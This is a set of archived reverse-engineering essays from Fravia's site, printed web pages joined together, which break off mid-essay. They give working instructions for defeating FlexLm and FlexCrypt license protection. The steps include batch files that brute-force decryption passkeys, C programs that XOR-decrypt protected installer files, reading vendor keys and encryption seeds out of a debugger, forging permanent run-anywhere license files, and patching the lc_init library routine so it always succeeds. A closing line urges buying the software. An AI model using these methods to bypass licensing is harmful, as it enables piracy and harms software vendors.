* Reference To: KERNEL32.ExitProcess, Ord:006Ah
:00401849 FF158C324300 Call dword ptr [0043328C] <- end the
program

Now run the dcrypt.exe with the command line options -p


0000-0000-0000-0000-00 -t Z *.fc
You should get a file of name 7375-5532-5521-5871

Now write 2 batch files to run through 00 to 99 and store the results:

http://www.instinct.org/fravia/pilgrim2.htm (5 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

test2.bat:
call test.bat 00
call test.bat 01 .... to .....
call test.bat 98
call test.bat 99

test.bat:
dcrypt -p 0000-0000-0000-0000-%1 -t cab data1.fc
rename ????-????-????-???? ????-????-????-????-%1

This gives 100 files with potential passkeys to try.


Note that these passkeys will differ on different machines.

So now we want to try each one and see when we get a valid result.
Dir all the files into a text file and run a macro to get something like
cryptwin -p 7375-5532-5521-5871-00 -t cab data1.fc
pause
... etc for each key

I checked the size of the decrypted file after each try.


It's non-zero when it's been decrypted correctly.
( further work: you may be able to use the debug error level to tell
you when it's worked )

You'll eventually end up with the correct key for your machine.
Once you've got it you can then use it to decrypt all the fc files.

Stage 3: Repackage so you don't need the key again.


===================================================

It would be wise to repackage the FlexLm 6.1 so you don't need the key
again.
Delete the cryptwin.exe and the *.Z files then try installing again.
You can now enter any passkey and FlexLm6.1 will install.

Stage 4: Try decrypting another package.


========================================

Let's try the passkey we got above with the 16 bit FlexLm5.12
No good.
That's because the 16bit cryptwin.exe has a different set of keys
stored in it's executable.
OK, so let's try decrypting the 16bit FC files using the 32bit cryptwin.
This may work as we know the key for the 32bit decrypter.
Well, we get some Z files, no error messages, but the files are corrupt.

http://www.instinct.org/fravia/pilgrim2.htm (6 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

Open up a Z file with your favourite hex editor and have a look.
Mmmm, lots of repeating 8 byte patterns.
Looks like we've decrypted the file but with the wrong start value.

Stage 4a: A diversion ... partial analysis of file decryption


=============================================================

Time to look at how crypwin.exe decrypts the fc file.


Open up the disassembled cryptwin.exe from FlexLm6.1, and look at
00402d1d:
( Some dissassembly has been removed )

1) Read the file and see if it contains the "FLEXcrypt Copyright"


signature
If it does then this is a new 32bit generated file, else it's a
16bit file

:00402D1D 55 push ebp


....
:00402D58 51 push ecx
:00402D59 E8D2A60100 call 0041D430 <- fread "FlexCryp"
from the file
...
* Possible StringData Ref from Data Obj ->"FLEXcrypt Copyright (C)
1990-1997, "
->"Globetrotter Software, Inc."
:00402D66 6870AE4200 push 0042AE70
:00402D6B 51 push ecx
:00402D6C E8CFC40100 call 0041F240 <- Compare the 2 strings
:00402D71 83C40C add esp, 0000000C
:00402D74 85C0 test eax, eax
:00402D76 7579 jne 00402DF1 <- Jump if it's 16bit
straight to decrypt file

2) This is a 32bit file with a valid header


The analysis of this next section needs some more work, it may hold
more clues.
The code reads some sort of checksum from the file header
The first 8 bytes of data are decrypted
The data is then compared with something and a pass/fail is
determined.

:00402D78 FF7508 push [ebp+08]


:00402D7B 53 push ebx
:00402D7C 6A68 push 00000068 <- 104 bytes of header
data

http://www.instinct.org/fravia/pilgrim2.htm (7 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

:00402D7E 8D8D24FFFFFF lea ecx, dword ptr [ebp+FFFFFF24]


:00402D84 51 push ecx
:00402D85 E8A6A60100 call 0041D430 <- read the header data
:00402D8A 83C410 add esp, 00000010
:00402D8D 8D55BC lea edx, dword ptr [ebp-44]
:00402D90 FF7508 push [ebp+08]
:00402D93 53 push ebx
:00402D94 6A08 push 00000008
:00402D96 52 push edx
:00402D97 E894A60100 call 0041D430 <- read the first 8
bytes of data
:00402D9C 83C410 add esp, 00000010
:00402D9F 8D4DE4 lea ecx, dword ptr [ebp-1C]
:00402DA2 8D55BC lea edx, dword ptr [ebp-44]
:00402DA5 8D45DC lea eax, dword ptr [ebp-24]
:00402DA8 51 push ecx
:00402DA9 52 push edx
:00402DAA 50 push eax
:00402DAB E818550000 call 004082C8 <- get an 8 byte key?
:00402DB0 83C40C add esp, 0000000C
:00402DB3 B9FF000000 mov ecx, 000000FF
:00402DB8 8B4514 mov eax, dword ptr [ebp+14]
:00402DBB 2BC8 sub ecx, eax
:00402DBD 51 push ecx
:00402DBE 50 push eax
:00402DBF 50 push eax
:00402DC0 8D4DC8 lea ecx, dword ptr [ebp-38]
* Possible StringData Ref from Data Obj ->"%02x%03d%03d"
:00402DC3 6860AE4200 push 0042AE60
:00402DC8 51 push ecx
:00402DC9 E812B50100 call 0041E2E0 <- sprintf first 8 bytes
:00402DCE 83C414 add esp, 00000014
:00402DD1 8D4DC8 lea ecx, dword ptr [ebp-38]
:00402DD4 8D55E4 lea edx, dword ptr [ebp-1C]
:00402DD7 6A08 push 00000008
:00402DD9 51 push ecx
:00402DDA 52 push edx
:00402DDB E820C40100 call 0041F200 <- string compare 8
bytes
:00402DE0 83C40C add esp, 0000000C
:00402DE3 85C0 test eax, eax
:00402DE5 7411 je 00402DF8 <- passkey OK, continue
to decrypt the file
:00402DE7 B801100000 mov eax, 00001001
:00402DEC E9B5000000 jmp 00402EA6 <- fail, abort with
error code

http://www.instinct.org/fravia/pilgrim2.htm (8 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

3) Decrypt the file, 8 bytes at a time

:00402DF1 C745F801000000 mov [ebp-08], 00000001


...............
:00402E73 8D45E4 lea eax, dword ptr [ebp-1C]
:00402E76 8D4DF0 lea ecx, dword ptr [ebp-10]
:00402E79 50 push eax
:00402E7A 8D55DC lea edx, dword ptr [ebp-24]
:00402E7D 51 push ecx
:00402E7E 52 push edx
:00402E7F E844540000 call 004082C8 <- get an 8 byte key?
:00402E84 83C40C add esp, 0000000C
:00402E87 33C0 xor eax, eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402E95(C)
-> 8 bytes loop
:00402E89 8A4C05D4 mov cl, byte ptr [ebp+eax-2C] <- XOR
8 bytes
:00402E8D 304C05E4 xor byte ptr [ebp+eax-1C], cl <-
with key
:00402E91 40 inc eax
:00402E92 83F808 cmp eax, 00000008
:00402E95 7CF2 jl 00402E89 <- loop 8 times

Stage 5: XOR the incorrectly decrypted file


===========================================

As mentioned above, it's as if we've used the wrong start point to


decrypt the FC file.
And from the analysis above we can see it's an XOR decryption.
So how about finding some likely looking zeros in the file.
XOR of zero with a key is zero.
If we XOR the file with the value stored at a zero we may get a
working file.
Open up the html.Z that comes with FlexLm5.12 with your hex editor.
I spy lots of repeats at 40hex, in my case, d361f5a2006ebb12.
Let's try XORing the whole file with d361f5a2006ebb12.

I wrote a little C program to do this, ( main parts only shown ):

void main()
{
FILE *ReadFile, *WriteFile;
unsigned char xor_table[8]={0xd3,0x61,0xf5,0xa2,0x00,0x6e,0xbb,0x12};
ReadFile=fopen("test.x","rb"); /* Open up the project file to read

http://www.instinct.org/fravia/pilgrim2.htm (9 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

*/
WriteFile=fopen("test.z","wb+"); /* Open up the new project file to
write */
init=0;
i=0;
while (feof(ReadFile) == 0) /* Repeat until the end of the read file
is reached */
{
c=fgetc(ReadFile);
if (init==1)
c^=xor_table[i];
i++;
i&=7;
init =1;
fputc(c,WriteFile);
}
fclose(ReadFile);
fclose(WriteFile);
}

Run this on the files and they look like they should work, but they're
still corrupt.

Stage 6: correct the first 8 bytes of the file


==============================================

The problem is the first 8 bytes of the data are not correct.
Further work: I think the first 8 bytes have something to do with the
initial decrypt value.
This doesn't pose a problem as FlexCrypt is typically used to encrypt
files with known headers.
For an installshield Z file the first 8 bytes are
13,5D,65,8C,3A,01,02,00
For an installshield CAB file the first 8 bytes are
49,53,63,28,04,00,00,01
So I modified my XOR code to skip the first 8 bytes and replace them
with the correct header:

void main()
{
FILE *ReadFile, *WriteFile;
unsigned char xor_table[8]={0xd3,0x61,0xf5,0xa2,0x00,0x6e,0xbb,0x12};
unsigned char z_header[8] ={0x13,0x5D,0x65,0x8C,0x3A,0x01,0x02,0x00};
ReadFile=fopen("test.x","rb"); /* Open up the project file to read
*/
WriteFile=fopen("test.z","wb+"); /* Open up the new project file to

http://www.instinct.org/fravia/pilgrim2.htm (10 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

write */
/* Skip the first 8 bytes and write the Z file header */
for (i=0;i<8;i++)
{
c=fgetc(ReadFile);
fputc(z_header[i],WriteFile);
}
init=0;
i=0;
while (feof(ReadFile) == 0) /* Repeat until the end of the read file
is reached */
{
c=fgetc(ReadFile);
if (init==1)
c^=xor_table[i];
i++;
i&=7;
init =1;
fputc(c,WriteFile);
}
fclose(ReadFile);
fclose(WriteFile);
}

Run this and your encrypted files are now decrypted.


As before, remove the cryptwin.exe and the FC files and your
installation will now accept
any passkey.

FlexCrypt further work


======================

Now we can decrypt ANY FlexCrypted file.


This includes the FlexCrypt developers kit.
So download this, decrypt it and we get a useful html manual and some
source code.
Have a look a mycode.c and cryptkit.h
It appears that the kit uses FlexLm license data to encrypt the keys
stored in the code.
There's an array fc_keytab[256] stored in the cryptwin.exe
which contains the 8 bytes keys to use XORed with vendorkey5.
As we know from FlexLm cracking, vendorkey5 is the hard one to find.
And we also know it's calculated on the fly from the other vendor codes.
So maybe cryptwin.exe has the necessary license data stored in it's EXE?

Using your favourite hex editor open up cryptwin.exe from FleLm 6.1

http://www.instinct.org/fravia/pilgrim2.htm (11 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

Have a look at offset 002a5c0, I think this is the fc_keytab table.


Looking at the rest of the code it seems to have lots of FlexLm code
embedded in it.
And we've cracked this before.

So maybe, by analysis of the cryptwin.exe and the FC file it may be


possible to determine
which key will work, without all the effort above.

Conclusion
==========

The above document shows how we can decrypt ANY FlexCrypted file.
Further work may show the essence of FlexCrypt and it's relationship
with FlexLm.

Thanks to the people out there who continue to reveal the light.

pilgrim

Back to protec

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/pilgrim2.htm (12 of 12) [2/7/2001 3:28:10 PM]


pilgrim.htm FlexLmPC

How to crack a PC-based FlexLm


license manager Not Assigned

30 October 1998 by pilgrim


Courtesy of Fravia's page of reverse engineering
fra_00xx
981030
Pilgrim
A 'target unrelated' nice intermediate essay. Read and enjoy.
0100
NA
PC
There is a crack, a crack in everything That's how the light
gets in
Rating ()Beginner (x)Intermediate ( )Advanced ( )Expert

How to hack a PC-based FlexLm license manager.


Written by pilgrim

Introduction
This article was inspired by the tutorial by SiuL+Hacky ( siulflex.htm ) on how to hack XprismPro 1.0
The above program ran on Linux, but my target ran on Windows 95/NT The aim of this tutorial is to expand on some
of the ideas in the first tutorial and to detail the differences encountered on the PC.

Tools required
W32DASM 8.9: everywhere
Flexlm programmers kit: http://www.flexlm.com

Essay

1) Get hold of the flexlm programmers kit


==========================================

This is obtainable from www.flexlm.com


It needs a key to decrypt the file.

http://www.instinct.org/fravia/pilgrim.htm (1 of 6) [2/7/2001 3:28:14 PM]


pilgrim.htm FlexLmPC

S+H details how to crack it, or ask FlexLm.

Once you've got it installed the main files of interest are:

lm_code.h : This is where you want to put in all the target key information
lm_client.h : Contains useful function prototypes and error codes
GenLic32.exe : this program checks the keys and generates licenses for you.

I'd also recommend reading the html manual.

2) Find the easy information using lc_init()


============================================

Using W32DASM, decompile your target application and


the vendor daemon DLL it uses ( e.g. lmgr326a.dll )

Load up the target EXE and set break points wherever the lc_init()
function is called.
Run your target until it breaks.

Looking at the prototype for lc_init in lm_client.h we see:

lm_extern API_ENTRY lc_init lm_args((LM_HANDLE_PTR job,


LM_CHAR_PTR vendor_id,
VENDORCODE_PTR vendor_key,
LM_HANDLE_PTR_PTR job_id));

job will be NULL as it's the first one.


job_id will be a pointer for the job structure to be filled by the
function.

The things of interest for us are the vendor_id and vendor_key.


Vendor_id is just a text string.

Again looking in lm_client.h we see:

typedef struct vendorcode5 {


short type; /* Type of structure */
unsigned long data[2]; /* 64-bit code */
unsigned long keys[4];
short flexlm_version;
short flexlm_revision;
char flexlm_patch[2];
char behavior_ver[LM_MAX_BEH_VER + 1];
} VENDORCODE5, FAR *VENDORCODE_PTR;

#define LM_MAX_BEH_VER "06.0"

In the above structure,


data[0] = encryption seed 1 XORed with vendor key 5
data[1] = encryption seed 2 XORed with vendor key 5
keys[0..3] = vendor keys 1 to 4

http://www.instinct.org/fravia/pilgrim.htm (2 of 6) [2/7/2001 3:28:14 PM]


pilgrim.htm FlexLmPC

behavior_ver[] = string containing FlexLm version ( in this case = "06.0" )

So all the stuff above will be pushed onto the stack prior to calling lc_init.

Looking at the disassembly we see:

8B0F mov ecx, dword ptr [edi]


57 push edi
68C88D5200 push 00528DC8 <- pointer to code structure
* Possible StringData Ref from Data Obj ->"VENDOR"
68E45A5200 push 00525AE4 <- pointer to vendor ID
string
51 push ecx
* Reference To: LMGR326A.lc_init, Ord:0034h
E865E30600 Call 004A9BD8

OK, so we've got the vendor ID string ( in this case "VENDOR" )

And looking at memory address 00528DC8 we see the code structure:

[00528DC8] - 00000004 ....


[00528DCC] - ab5e32e5 .?^. <- seed 1 XORed with key5
[00528DD0] - 7bc6313d =1.{ <- seed 2 XORed with key5
[00528DD4] - fc62965d ].l. <- key 1
[00528DD8] - 853df75c \7=. <- key 2
[00528DDC] - 2f324f23 #O:. <- key 3
[00528DE0] - 1133e43b ;.3. <- key 4
[00528DE4] - 00000006 .... <- version and revision
[00528DE8] - 36300069 i.06 <- patch and behaviour_ver
[00528DEC] - 0000302e .0.. <-

So we've got 4 keys and two XORed encryption keys.

4) Find your feature names


==========================

You need these to make up a working license file.


Clear the break-points on lc_init() function calls and set breaks on
calls to lc_checkout.

Looking at lm_client.h again we see:

lm_extern API_ENTRY lc_checkout lm_args((LM_HANDLE_PTR job,


const LM_CHAR_PTR feature,
const LM_CHAR_PTR version,
int nlic,
int flag,
const VENDORCODE_PTR key,
int dup));

The call looks like:

http://www.instinct.org/fravia/pilgrim.htm (3 of 6) [2/7/2001 3:28:14 PM]


pilgrim.htm FlexLmPC

6800400000 push 00004000


68C88D5200 push 00528DC8 <- code structure
6A00 push 00000000
8D442410 lea eax, dword ptr [esp+10]
6A01 push 00000001
50 push eax <- version
51 push ecx <- feature name
52 push edx
* Reference To: LMGR326A.lc_checkout, Ord:0022h
E834AA0600 Call 004A9BDE

OK, so we've got a feature name.


Now have a look round and look for similar names, your target may use
more than one.

5) Make your first license.dat file


===================================

Modify the lm_code.h file to contain the encryption seeds, and vendor
keys 1 to 4.
Set vendor key 5 to 0 for now.

Run genlic32.exe
If it throws up an error message then you haven't typed in the keys
correctly in lm_code.h

Enter the feature name as found above.


Click on 'permanent' and 'run anywhere' so you don't need a server
daemon running.
Click on 'make license', fill in the filename license.dat and click
'Make license'

Have a look at the licence file, it'll look something like:

FEATURE full_spam_feature <- feature name


VENDOR <- vendor ID
1.000 <- version
permanent <- never expires
uncounted <- no need for a server
0AF0103F59E2 <- file checksum
HOSTID=ANY <- run on any machine

6) Finding vendor key 5


=======================

Preamble...
Like S+H, I didn't believe vendor 5 could be unknown by the daemon,
it had to be made on the fly.
It appears to be made up of all 4 vendor keys and the vendor name.
So it could be a checksum for the vendor info?
FlexLm provides the 5 keys based on your vendor name, so they'll want
to checksum it somehow.

http://www.instinct.org/fravia/pilgrim.htm (4 of 6) [2/7/2001 3:28:14 PM]


pilgrim.htm FlexLmPC

If you get keys 1 to 4 or the vendor id wrong in lm_code.h then


genlic32.exe won't like it.
...

OK this bit is more tricky, but keep at it and you'll get there.

Start W32DASM again and load your target ready to read your nice new
license file.
Break on lc_checkout in your target EXE.
Load up the daemon DLL ( in the active DLLs window double-click on the
daemon DLL ).
Start single-stepping through.
There's lots of calls to undocumented functions, but keep stepping
into them.

Here's the edited highlights of how it went for me:

Read and check the licence.dat file:


l_validversion(), l_compare_version() check the version in the license file
l_date(),l_extract_date() extract the date from the checksum
( permanent gets converted into 1-jan-0 )
l_start_ok() start date is OK
l_host() OK 'cos it's ANY

Then we got into some functions with lots of XORs.


This looks good as we want to XOR our two encryption seeds.
We can see the keys 1,2,3 and 4 and the vendor ID getting read and XORed
Then we hit some code:

E8C2080100 call 10021160 <- get vendor key 5 in ebx


83C40C add esp, 0000000C
8B4704 mov eax, dword ptr [edi+04] <- seed1 from license.dat
33C3 xor eax, ebx <- seed1 XOR key5
8D4DA8 lea ecx, dword ptr [ebp-58]
51 push ecx
8945AC mov dword ptr [ebp-54], eax <- store seed1
8B4708 mov eax, dword ptr [edi+08] <- seed2 from license.dat
8B7D0C mov edi, dword ptr [ebp+0C]
33C3 xor eax, ebx <- seed2 XOR key5
8945B0 mov dword ptr [ebp-50], eax <- store seed2
8D4754 lea eax, dword ptr [edi+54]
50 push eax
:100108BC 56 push esi
* Reference To: LMGR326A.l_extract_date
:100108BD E8D642FFFF call 10004B98

So we've just got key5, and the XORed seeds1 and 2

7) Make your final license.dat


==============================

In lm_code.h, replace your two seeds and key5

http://www.instinct.org/fravia/pilgrim.htm (5 of 6) [2/7/2001 3:28:14 PM]


pilgrim.htm FlexLmPC

Run genlic32.exe and make your completed licence file.

Final Notes
As Siul+Hacky mentioned, the only security here is that of secrecy. Thanks to Siul+ for the initial hard work.

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period
than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at
all: you'll find it on most Warez sites, complete and already regged, farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails http://fravia.org/ideale.htm">antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/pilgrim.htm (6 of 6) [2/7/2001 3:28:14 PM]


siulflex.htm: Linux advanced cracking: flexlm

Flexlm, the Flexible lies manager.


XprismPro 1.0
Our tools

06 September 1998 by SiuL+Hacky

Courtesy of Fravia's page of reverse engineering


Well, well, well... while some of us have been sleeping in the
sun, other (more serious) crackers have worked a lot.
SiuL+Hacky's Linux essays are legendary, and here you have
another VERY interesting paper. Since everyone and his dog
is now switching to Linux (and the megaflop of Windows'98
contributes to this... man, anyone that went trough the ordeal
of upgrading that idiotical Windoze's OS will switch to Linux,
I believe) these essays are more and more important. Advanced
Actually, d'you want an advice? Throw your windoze away,
start working (was about time) as you should in Linux and
start cracking the hell out of it following Siul+Hacky's steps!
Enjoy this great work, but be warned: this stuff is not for
beginners, not at all.
There is a crack, a crack in everything That's how the
light gets in
Rating ()Beginner ()Intermediate ( )Advanced ( )Expert

Flexlm: The Flexible lies manager.


XprismPro 1.0
Written by SiuL+Hacky

Introduction
One of the most popular commercial schemes in the unix worl is Flexlm. It has been working for several
years in the market, but I've never seen attempts to break it, probably, because it was not so popular in
the win-world, and anyway it is not practically used in a shareware basis. It's used with huge software
package that has more to do with warez. If you succede in grasping the idea of FlexLM, you'll see that it
may try to stop making (ilegal) copies of legal software. It fails.

http://www.instinct.org/fravia/siulflex.htm (1 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

Tools required
Ltrace search for ltrace_0.3.2.tar.gz
Dasm Here !
perl interpreter ( available in linux distributions)
gcc (the same apply)
Flexlm programer's kit: http://www.flexlm.com
DDD http://www.cs.tu-bs.de/softech/ddd

Target's URL/FTP
XprismPro: http://www.khoral.com

The demo was removed some months ago, but it is used here as an example and some other linux
program protected with Flexlm, could be used. Moreover, you could try also with Windows NT versions
(I encourage you not to do it, even just for aesthetic reason :-).

Tools Update
There's a growing number of tools available for developing, but they are quite specific and only a few of
them are for general use. They should be know by you already, but for those of you off the world you
could have a look to these variations of the known gdb:
GDB 4.17

This upgrade provides gdb multithread capabilites, that until this version had no support at all.
SMARTGDB 0.9

I must admit the idea of smartgdb developers is really interesting, but i have to warn you too, that it still
needs a lot of work for not disappointing you when you try to use it. The main improvements are firstly
the multithread support, and secondly and more important, it carries a Tcl/Tk interpreter that allows you
to write code that ameliorates the interface the way you want. Moreover, it gives you the chance to write
procedures that take care of breakpoints.

Essay
After cracking with ltrace XPrismPro, i was really interested in some of the internals of the comercial
protection used: FlexLm (Flexible License Manager). Probably many of you know it, many hardware cad
tools use that crap, and you find it no matter you run Solaris or Windows NT (sorry for the last ones).
XPrismpro (hey don't look, they removed the demo time ago !), carried a complete user manual of

http://www.instinct.org/fravia/siulflex.htm (2 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

Flexlm, well that's nice for motivation, but there were a lot of questions unanswered. The main details
available in the user's manual are (excerpt from flexlm user's manual):
1. The license module in the client application finds the license file, which includes the host name of
the license server node and port number of the license manager daemon, lmgrd.
2. The client establishes a connection with the license manager daemon (lmgrd) and tells it what
vendor daemon it needs to talk to.
3. lmgrd determines which machine and port correspond to the master vendor daemon and sends that
information back to the client.
4. The client establishes a connection with the specified vendor daemon and sends its request or a
license.
5. The vendor daemon checks in its memory to see if any licenses are available and sends a grant or
denial back to the client.
6. The license module in the application grants or denies use of the feature, as appropriate.
I must add that the license file, a text file, contains a key (ten bytes i think) that authenticates the license.
This license file and the vendor daemon must be provided by the software company that sells you the
program. This is an exaple of license file (censored :-).
SERVER localhost.localdomain ANY
VENDOR khoral /usr/local/flexlm/v6.0/i86_l1/khoral
FEATURE xprismpro khoral 1.0 permanent 4 XXXXXXXXXXXX

I must admit i don't find the coherence. Do flexlm guys really think that network administrators are so
worried with the lincensed/unlicensed software that the people run ? Is the access granted by the server,
by the local license file, or by both ? I just can think the license server is located inside vendor's network,
i mean, imagine i buy some crap to Adobe, and then everytime i run it, it connects with Adobe and grant
me access. But that is fucking unflexible :-) !!!. In that case i was thinking it could not be so hard to make
a fake server that grants access everytime.
Anyway, after reading that i had to visit flexlm web site and look for some enlightenment:
http://www.globetrotter.com

:-), firstly you can read there a ton of comercial shit about stop piracy, improve your sales and so on. Go
to Flexlm product, and there is available an evaluation programmer's kit. Do you think flexlm
programmer's kit is protected with flexlm :-DDDD ??? NO, of course, not. BTW, you can get that
programmers kit from some mirrors (do ftpsearch, and look for install_flexlm.ftp).
Two of the files are provided encrypted, and of course you must begg for the key or start some reversing.
A program is given to decrypt, and it nicely tells you if the code is wrong and what is the format of the
code:
xxxx-xxxx-xxxx-xxxx-xx or
xxxx-xxxx-xxxx-xxxx-xxx or
nnnn-xxxx-xxxx-xxxx-xxxx-xx

One of the features of the decryption program is to provide the key in a text file. Perfect, don't forget it.
Run ltrace, of course, and you'll see that when you introduce a number in the format above, the last

http://www.instinct.org/fravia/siulflex.htm (3 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

number (two or three ciphers) is converted to long (atol function) and the error message is constructed.
Dasm the file and you'll see that the value returned by the function atol is compared with 0x100 (256),
and you're fired if the value is greater. Then when you introduce the right format and the last number is
less than 256, you receive a different error message. Looking at the new ltrace output, woowww, there's a
call to sprintf that generates a string like xxxx-xxxx-xxxx-xxxx, hmmm, interesting. Now if you put this
number you got from sprintf and keep the last number untouched, you'll get a good decryption key, but
not good for the specific files. Fortunately, that sprintf is the only one present in the whole log.
The last task is to get the specific decryption key for flexlm files. I decided to use a funny approach and
write a perl script that
1. calls the decryption program through ltrace. Last number among [0-99]
2. reads ltrace's log and builds a good key. Store it in a file and repeat.
3. once you get all the good keys, extract the first one, put it in a file and check if it can decrypt
flexlm files.
4. if not, just try the next
in a few seconds you'll get the good decryption key that i'll not give you, but you can easily get with the
power of perl :-).
Once you get the programmers kit (evaluation) available, let's start reading the manual, written in good
html. I'll not punish you with the gory details but the conclusion i got was, how could it be patented ???
All the supposed security of the flexlm is based in keeping the methods secret. That is absurd, anyone
could get this kit and you'll see how vendors are giving away in their daemons (or in their client
programs) the information needed to build a license generator. The programmer's guide just gives you
some clues of the encryption process, and some of the functions of Flexlm API (the ones used in the
source code examples provided).
Now let's go to setup the whole thing and run an installation script. It will ask you the vendor daemon
name, a pair of 8 bytes encryption seeds that MUST BE KEPT SECRET as they are the ones that are
unique to your software, and 5 vendor keys supposedly provided by Flexlm guys. Of course, i had not
that vendor keys. The script starts to compile your new daemon, but at the end you receive a message
that the vendor keys provided are invalid or so.
If you now look at the Makefile and the software provided, this is a summary of what they supply in this
kit:
1. License manager: lmgrd
2. Source examples for daemon and client program
3. Some utilities to test lmgrd, build licenses and so on.
4. Three libraries that must be linked and that contain Flexlm API, server and client side.
5. Source code for the license generator: lmcrypt (remeber that name)
The last one is really surprising at the first glance, but as the interesting routines are in the libraries it's
not that easy. Anyway it's impossible not to run lmcrypt just the second you see it. Run it and you'll get
the stupid message about the vendor keys. Most of the compiled programs showed the same behaviour,
so it is neccessary to:

http://www.instinct.org/fravia/siulflex.htm (4 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

Build valid vendor keys.


Patch a little bit.
May be any of you like the first option, i find it particularly boring. Hey, hey, one moment, that's what
Flexlm guys says about the security of their product:
---------------------------------------------------------- Keeping Your Software Secure
No software is completely secure. FLEXlm is no exception. While GLOBEtrotter Software has made
every effort to ensure the integrity of FLEXlm, all points of attack can never be anticipated. The
following lists known points of vulnerability in FLEXlm in increasing order of difficulty to break.
Globetrotter Software also maintains a list of techniques for making your implementation more secure -
please contact technical support (support@globes.com) for a description of these techniques.

Easy
Running the debugger on the application code if it is released with unstripped executables (on Unix) or
as a debug version (on Windows).
Difficult, depending on application policy
Killing the daemons, since a majority of daemons must be up in order for anything to run, and a dead
daemon is detected within the timer interval in a client. If, however, you do not use one of the built-in
timers and you do not call HEARTBEAT(), then your software protection could be bypassed by someone
who kills the daemons each time that the application reaches the maximum license limit, as the
applications would never detect that the daemon went down.
Very Difficult
Guessing the license keys that belong in the license file. FLEXlm's standard authentication algorithm
takes the user-visible data fields (number of licenses, expiration date, version number, vendor-defined
string, feature name, host IDs of all servers, plus any optional authenticated fields) and combines them
with the vendor's private encryption seeds to produce a license key. The algorithm used is a proprietary
one-way block chaining encypherment of all the input data.
Writing a new daemon that emulates your vendor daemon. FLEXlm encrypts the traffic between client
and vendor daemon to make this point of attack much more difficult.
Running the debugger on a stripped (Unix) or a non-debug (Windows) executable. This requires
someone to find the FLEXlm calls without any symbol table knowledge.
-------------------------------------------- At the end of the essay you may set your own ratios :-).
I like this facility of english language to put qualifiers one after the other, even though is widely used in
commercial stuff. Watch the pseudo-sophistication that it provides:
"The algorithm used is a proprietary one-way block chaining encypherment ..."
Back to the cracking, if you see the source code of lmcrypt.c, the error message is caused by a call to the
function lc_init:

http://www.instinct.org/fravia/siulflex.htm (5 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm
status = lc_init(prevjob, VENDOR_NAME, &code, &job);

if the function doesn't return 0, you know, beggar off. I felt really dissappointed patching the source
code, so let's go back to our libraries and look for a global solution. There are three:
liblmgr.a
liblmgr_as.a
liblmgr_s.a

Usually you find two types of libraries: .a libraries (static) and .so (dynamic). So in this case there's a
collection of static libraries that are statically linked to your code. How they are made? Well, very simple
these files are just "ar" archives (similar to tar archives), and inside them there's a collection of object
(.o) files. With "ar" command you may extract files, add, and so on. The syntax is the same of the tar
command. There's also a very useful command for investigating the contents of a library: nm. This
command gives you information about how is organized the library's functions and variables. This is just
some interesting part of running nm libmgr.a
lm_init.o:
00000000 d VERSION
U calloc
U errno
00000004 d first
00000000 t gcc2_compiled.
U getenv
U l_getattr
U l_getattr_init
U l_malloc
U l_more_featdata
00000014 D l_n36_buff
U l_set_error
U l_sg
00000af0 T lc_first_job
U lc_get_attr
00000000 T lc_init
00000b10 T lc_next_job
U lc_set_attr
00000008 D lm_bpi
0000000c D lm_max_masks
00000010 D lm_nofile
U localtime

the numbers on the right is the location of the data or the function inside the object code file. If it is
empty then the symbol was declared as external. So here we can see that the code of lc_init is inside file
lm_init.o. You know what to do, extract lm_init.o, patch the code in a way lc_init returns always 0 and
then replace the old lm_init.o in the library, with your patched file. This way if you rebuild all the
programs, they will give you no problems with the vendor keys (at least less :-).
Now lmcrypt runs fine. It gets a just-made license file as the input (the checksum key must be equal to
0), and gets out a perfect valid license file. My very first idea was to crack the daemon in order to grant
access always, so i realized debuggin a daemon (memory resident) program could be too hard without
ltrace. The problem is that, although may be supported in the future, now ltrace doesn't log calls to
functions inside the executable (even if they are available in the symbol table), and all the cool functions
from the API are statically linked. What i tried next, was to make them dynamically linked. I know that

http://www.instinct.org/fravia/siulflex.htm (6 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

needs an explanation, ok.


We've got three libraries full of object files, now if you extract those object files in a directory and then
use gcc (C compiler if you don't, but should, know) to create a shared .so library, it could be possible to
recompile the programs, indicating the compiler to link dynamically to the new .so library. I was not
quite sure that it would work, but in about an hour i had my brand new version of lmcrypt dynamically
linked. The command line for creating shared libraries is something like this:
gcc -shared -Wl,-soname,libflex.so.1 -o libflex.so.1.0 *.o
if you want to repeat this process, i got two unresolved references that have to be solved:
1. Add an aditional object file lm_new.o that is compiled when you build the whole crap.
2. Before creating the .so library remove lm_sapi.o file.
If you don't want problems, put the library in /usr/local/lib for instance, run ldconfig and it's ready to be
used:
gcc -o lmcrypt lmcrypt.c -lflex
As you'll know soon, i got nothing with all this, but i'm telling you because i got a really good time with
the process (the best of the whole crack) and may be useful for you in the future.
Anyway, like it was quite successful, i repeated the process compiling the daemon. It was not so hard and
i got a dynamically linked daemon, but soon i realized i could not use ltrace with it for two reasons:
